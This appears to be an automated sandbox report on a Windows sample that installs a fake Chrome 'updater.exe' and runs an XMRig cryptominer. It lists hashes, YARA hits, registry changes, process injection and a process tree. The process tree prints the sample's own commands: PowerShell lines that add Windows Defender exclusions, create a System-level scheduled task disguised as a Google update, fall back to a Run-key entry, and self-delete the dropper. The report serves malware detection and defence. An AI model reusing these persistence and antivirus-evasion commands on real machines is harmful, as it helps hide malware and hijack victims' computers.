Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1801s -
max time network
1799s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
6vHkJ4UErTSS5ECD.exeupdater.execonhost.exedescription pid Process procid_target PID 1892 created 3540 1892 6vHkJ4UErTSS5ECD.exe 58 PID 1892 created 3540 1892 6vHkJ4UErTSS5ECD.exe 58 PID 1892 created 3540 1892 6vHkJ4UErTSS5ECD.exe 58 PID 1892 created 3540 1892 6vHkJ4UErTSS5ECD.exe 58 PID 1336 created 3540 1336 updater.exe 58 PID 1336 created 3540 1336 updater.exe 58 PID 1336 created 3540 1336 updater.exe 58 PID 1336 created 3540 1336 updater.exe 58 PID 3820 created 3540 3820 conhost.exe 58 PID 1336 created 3540 1336 updater.exe 58 -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral6/memory/5112-126-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-130-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-132-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-133-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-137-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-139-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-141-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-143-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-145-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-147-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-149-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-151-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-153-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-155-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-157-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-159-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-161-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-163-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-165-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-167-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-169-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-171-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-173-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-175-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-177-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-179-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-181-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-183-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-185-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig behavioral6/memory/5112-187-0x00007FF712180000-0x00007FF712974000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid Process 1336 updater.exe -
Processes:
resource yara_rule behavioral6/memory/5112-121-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-126-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-130-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-132-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-133-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-137-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-139-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-141-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-143-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-145-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-147-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-149-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-151-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-153-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-155-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-157-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-159-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-161-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-163-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-165-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-167-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-169-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-171-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-173-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-175-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-177-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-179-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-181-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-183-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-185-0x00007FF712180000-0x00007FF712974000-memory.dmp upx behavioral6/memory/5112-187-0x00007FF712180000-0x00007FF712974000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid Process procid_target PID 1336 set thread context of 3820 1336 updater.exe 114 PID 1336 set thread context of 5112 1336 updater.exe 116 -
Drops file in Program Files directory 4 IoCs
Processes:
6vHkJ4UErTSS5ECD.exeupdater.execmd.execmd.exedescription ioc Process File created C:\Program Files\Google\Chrome\updater.exe 6vHkJ4UErTSS5ECD.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
6vHkJ4UErTSS5ECD.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid Process 1892 6vHkJ4UErTSS5ECD.exe 1892 6vHkJ4UErTSS5ECD.exe 472 powershell.exe 472 powershell.exe 1892 6vHkJ4UErTSS5ECD.exe 1892 6vHkJ4UErTSS5ECD.exe 2212 powershell.exe 2212 powershell.exe 1892 6vHkJ4UErTSS5ECD.exe 1892 6vHkJ4UErTSS5ECD.exe 1892 6vHkJ4UErTSS5ECD.exe 1892 6vHkJ4UErTSS5ECD.exe 3308 powershell.exe 3308 powershell.exe 1336 updater.exe 1336 updater.exe 1480 powershell.exe 1480 powershell.exe 1336 updater.exe 1336 updater.exe 1864 powershell.exe 1864 powershell.exe 1336 updater.exe 1336 updater.exe 1336 updater.exe 1336 updater.exe 3820 conhost.exe 3820 conhost.exe 1336 updater.exe 1336 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 672 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 472 powershell.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeIncreaseQuotaPrivilege 2212 powershell.exe Token: SeSecurityPrivilege 2212 powershell.exe Token: SeTakeOwnershipPrivilege 2212 powershell.exe Token: SeLoadDriverPrivilege 2212 powershell.exe Token: SeSystemProfilePrivilege 2212 powershell.exe Token: SeSystemtimePrivilege 2212 powershell.exe Token: SeProfSingleProcessPrivilege 2212 powershell.exe Token: SeIncBasePriorityPrivilege 2212 powershell.exe Token: SeCreatePagefilePrivilege 2212 powershell.exe Token: SeBackupPrivilege 2212 powershell.exe Token: SeRestorePrivilege 2212 powershell.exe Token: SeShutdownPrivilege 2212 powershell.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeSystemEnvironmentPrivilege 2212 powershell.exe Token: SeRemoteShutdownPrivilege 2212 powershell.exe Token: SeUndockPrivilege 2212 powershell.exe Token: SeManageVolumePrivilege 2212 powershell.exe Token: 33 2212 powershell.exe Token: 34 2212 powershell.exe Token: 35 2212 powershell.exe Token: 36 2212 powershell.exe Token: SeIncreaseQuotaPrivilege 2212 powershell.exe Token: SeSecurityPrivilege 2212 powershell.exe Token: SeTakeOwnershipPrivilege 2212 powershell.exe Token: SeLoadDriverPrivilege 2212 powershell.exe Token: SeSystemProfilePrivilege 2212 powershell.exe Token: SeSystemtimePrivilege 2212 powershell.exe Token: SeProfSingleProcessPrivilege 2212 powershell.exe Token: SeIncBasePriorityPrivilege 2212 powershell.exe Token: SeCreatePagefilePrivilege 2212 powershell.exe Token: SeBackupPrivilege 2212 powershell.exe Token: SeRestorePrivilege 2212 powershell.exe Token: SeShutdownPrivilege 2212 powershell.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeSystemEnvironmentPrivilege 2212 powershell.exe Token: SeRemoteShutdownPrivilege 2212 powershell.exe Token: SeUndockPrivilege 2212 powershell.exe Token: SeManageVolumePrivilege 2212 powershell.exe Token: 33 2212 powershell.exe Token: 34 2212 powershell.exe Token: 35 2212 powershell.exe Token: 36 2212 powershell.exe Token: SeIncreaseQuotaPrivilege 2212 powershell.exe Token: SeSecurityPrivilege 2212 powershell.exe Token: SeTakeOwnershipPrivilege 2212 powershell.exe Token: SeLoadDriverPrivilege 2212 powershell.exe Token: SeSystemProfilePrivilege 2212 powershell.exe Token: SeSystemtimePrivilege 2212 powershell.exe Token: SeProfSingleProcessPrivilege 2212 powershell.exe Token: SeIncBasePriorityPrivilege 2212 powershell.exe Token: SeCreatePagefilePrivilege 2212 powershell.exe Token: SeBackupPrivilege 2212 powershell.exe Token: SeRestorePrivilege 2212 powershell.exe Token: SeShutdownPrivilege 2212 powershell.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeSystemEnvironmentPrivilege 2212 powershell.exe Token: SeRemoteShutdownPrivilege 2212 powershell.exe Token: SeUndockPrivilege 2212 powershell.exe Token: SeManageVolumePrivilege 2212 powershell.exe Token: 33 2212 powershell.exe Token: 34 2212 powershell.exe Token: 35 2212 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid Process procid_target PID 4340 wrote to memory of 1896 4340 cmd.exe 102 PID 4340 wrote to memory of 1896 4340 cmd.exe 102 PID 3308 wrote to memory of 1992 3308 powershell.exe 103 PID 3308 wrote to memory of 1992 3308 powershell.exe 103 PID 1336 wrote to memory of 3820 1336 updater.exe 114 PID 1728 wrote to memory of 1768 1728 cmd.exe 115 PID 1728 wrote to memory of 1768 1728 cmd.exe 115 PID 1336 wrote to memory of 5112 1336 updater.exe 116 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3540
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1892
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:472
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1896
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1480
